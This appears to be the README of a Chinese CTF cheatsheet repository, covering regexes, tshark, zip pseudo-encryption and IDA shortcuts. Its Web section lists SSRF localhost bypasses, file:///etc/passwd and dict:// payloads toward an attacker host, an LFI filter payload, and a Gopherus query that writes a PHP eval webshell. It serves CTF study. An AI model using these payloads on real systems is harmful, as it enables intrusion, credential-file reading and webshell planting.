/Awesome-CTF

一个CTF知识仓库

Primary LanguagePython

Awesome-CTF

【免责声明】本仓库所涉及的技术、思路和工具仅供安全技术研究,任何人不得将其用于非授权渗透测试,不得将其用于非法用途和盈利,否则后果自行承担。

CTF平台

CTF工具

综合工具

Crypto

Misc

图片

音视频

流量分析

数据处理

Web

Pwn

Reverse

Cheatsheet

搜索flag

grep -rn “flag{” /*
find / -type f -name '*' | xargs grep "flag{"

Misc

常用正则表达式

**手机号
  • 手机号为11 位10进制数字字符串。
^(13[0-9]|14[01456879]|15[0-35-9]|16[2567]|17[0-8]|18[0-9]|19[0-35-9])\d{8}$
  • 带中划线的手机号码
^[+]{0,1}(d){1,3}[ ]?([-]?((d)|[ ]){1,12})+$
电话号码
  • "XXX-XXXXXXX"、"XXXX-XXXXXXXX"
(\(\d{3,4}\)|\d{3,4}-|\s)?\d{8}
  • "XXX-XXXXXXX"、"XXXX-XXXXXXXX"、"XXX-XXXXXXX"、"XXX-XXXXXXXX"、"XXXXXXX"和"XXXXXXXX"
^(\(\d{3,4}-)|\d{3.4}-)?\d{7,8}$
  • 国内电话号码(0511-4405222、021-87888822)
\d{3}-\d{8}|\d{4}-\d{7}
  • 支持手机号码,3-4位区号,7-8位直播号码,1-4位分机号
 ((\d{11})|^((\d{7,8})|(\d{4}|\d{3})-(\d{7,8})|(\d{4}|\d{3})-(\d{7,8})-(\d{4}|\d{3}|\d{2}|\d{1})|(\d{7,8})-(\d{4}|\d{3}|\d{2}|\d{1}))$)
身份证号
  • 15位、18位数字,最后一位是校验位,可能为数字或字符X
(^\d{15}$)|(^\d{18}$)|(^\d{17}(\d|X|x)$)
国际移动设备识别码(IMEI)
  • IMEI(15 位十进制数字:14 位加上一个校验位)用于表示有关设备来源、型号和序列号的信息。
  • 15位由TAC(+FAC) + SNR + CD组成。末尾采用Luhn 校验位。
/^\d{15,17}$/
银行卡号(BankCard)
  • 银行卡的长度限制在16-19位。一般信用卡的长度为16位,借记卡的长度为19位。
  • 银行卡号一般有五部分组成:发卡机构标识代码(BIN)、地区代码、卡种类码、顺序码、校验码。
  • 校验码采用Luhn算法计算。
/^([1-9]{1})(\d{15}|\d{18})$/
IP地址(IPv4)
  • 由四段数字组成,例如192.168.0.1,其中的数字都是十进制的数字,中间用实心圆点分隔。
((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}
((?:(?:25[0-5]|2[0-4]\d|[01]?\d?\d)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d?\d))
域名
[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(\.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})+\.?
^((http:\/\/)|(https:\/\/))?([a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,6}(\/)
URL
[a-zA-z]+://[^\s]* 或 ^http://([\w-]+\.)+[\w-]+(/[\w-./?%&=]*)?$
邮箱地址(Email)
^\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*$
^[a-zA-Z0-9_-]+@[a-zA-Z0-9_-]+(\.[a-zA-Z0-9_-]+)+$

tshark流量分析

tshark -r **.pcap –Y ** -T fields –e ** | **** > data
----------------------------------------------------------------
tshark -r capture.pcapng -T fields -e usb.capdata > data2.txt
Usage:
  -Y <display filter>      packet displaY filter in Wireshark display filter
                           syntax
  -T pdml|ps|psml|json|jsonraw|ek|tabs|text|fields|?
                           format of text output (def: text)
  -e <field>               field to print if -Tfields selected (e.g. tcp.port,
                           _ws.col.Info)

通过-Y过滤器 (与 wireshark 一致), 然后用-T filds -e配合指定显示的数据段 (比如 usb.capdata)

-e后的参数不确定可以由 wireshark 右击需要的数据选中后得到

Unicode四种编码形式

源文本:The

&#x [Hex]: &#x0054;&#x0068;&#x0065;
&# [Decimal]: &#00084;&#00104;&#00101;
\U [Hex]: \U0054\U0068\U0065
\U+ [Hex]: \U+0054\U+0068\U+0065

zip伪加密

zip文件组成:

  • 压缩源文件数据区 50 4B 03 04(0x04034b50)
  • 压缩源文件目录区 50 4B 01 02(0x02014b50)
  • 压缩源文件目录结束标志50 4B 05 06(0x06054b50)

压缩源文件数据区:

50 4B 03 04:这是头文件标记(0x04034b50)
14 00:解压文件所需 pkware 版本
09 00:全局方式位标记(有无加密)
08 00:压缩方式
50 A3:最后修改文件时间
A5 4A:最后修改文件日期
21 38 76 64:CRC-32校验(1480B516)
19 00 00 00:压缩后尺寸(25)
17 00 00 00:未压缩尺寸(23)
08 00:文件名长度
00 00:扩展记录长度

压缩源文件目录区:

50 4B 01 02:目录中文件文件头标记(0x02014b50)
1F 00:压缩使用的 pkware 版本
14 00:解压文件所需 pkware 版本
09 00:全局方式位标记(有无加密,这个更改这里进行伪加密,改为09 00打开就会提示有密码了)
08 00:压缩方式
50 A3:最后修改文件时间
A5 4A:最后修改文件日期
21 38 76 65:CRC-32校验(1480B516)
19 00 00 00:压缩后尺寸(25)
17 00 00 00:未压缩尺寸(23)
08 00:文件名长度
24 00:扩展字段长度
00 00:文件注释长度
00 00:磁盘开始号
00 00:内部文件属性
20 00 00 00:外部文件属性
00 00 00 00:局部头部偏移量

真假加密:

# 无加密 
压缩源文件数据区的全局加密应当为00 00
且压缩源文件目录区的全局方式位标记应当为00 00
# 假加密
压缩源文件数据区的全局加密应当为00 00
且压缩源文件目录区的全局方式位标记应当为09 00
# 真加密
压缩源文件数据区的全局加密应当为09 00
且压缩源文件目录区的全局方式位标记应当为09 00

Web

localhost绕过

http://127.0.0.1:80
http://localhost:22
http://[::]:80/  >>>  http://127.0.0.1
http://example.com@127.0.0.1
http://127.0.0.1.xip.io/
http://127。0。0。1  >>>  http://127.0.0.1
http://0/

# 十六进制、八进制转换
http://127.0.0.1  >>>  http://0177.0.0.1/

# 转换为小数 https://www.browserling.com/tools/ip-to-dec
http://127.0.0.1  >>>  http://2130706433/

Gopherus

# mysql
> python2 gopherus.py --exploit mysql
---------------------------------------------
Give MySQL username: root
Give query to execute: select "<?php phpinfo();?>" into outfile "/var/www/html/gopher.php"
select "<?php @eval($_POST[c]);?>" into outfile "/var/www/html/gopher.php"

SSRF payload

file
file://path/to/file
file:///etc/passwd
file://\/\/etc/passwd
ssrf.php?url=file:///etc/passwd

http
ssrf.php?url=http://127.0.0.1:22
ssrf.php?url=http://127.0.0.1:80
ssrf.php?url=http://127.0.0.1:443
dict
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/

LFI payload

index.php?path=php://filter/read=convert.base64-encode/resource=flag.php

Reverse

IDA快捷键

功能 快捷键
切换文本视图与图表视图 空格键
返回上一个操作地址 ESC
搜索地址和符号 G
对符号进行重命名 N
常规注释 冒号
可重复注释 分号
添加标签 Alt+M
查看标签 Ctrl+M
查看段的信息 Ctrl+S
查看交叉应用 X
查看伪代码 F5
搜索文本 Alt+T
搜索十六进制 Alt+B

Scripts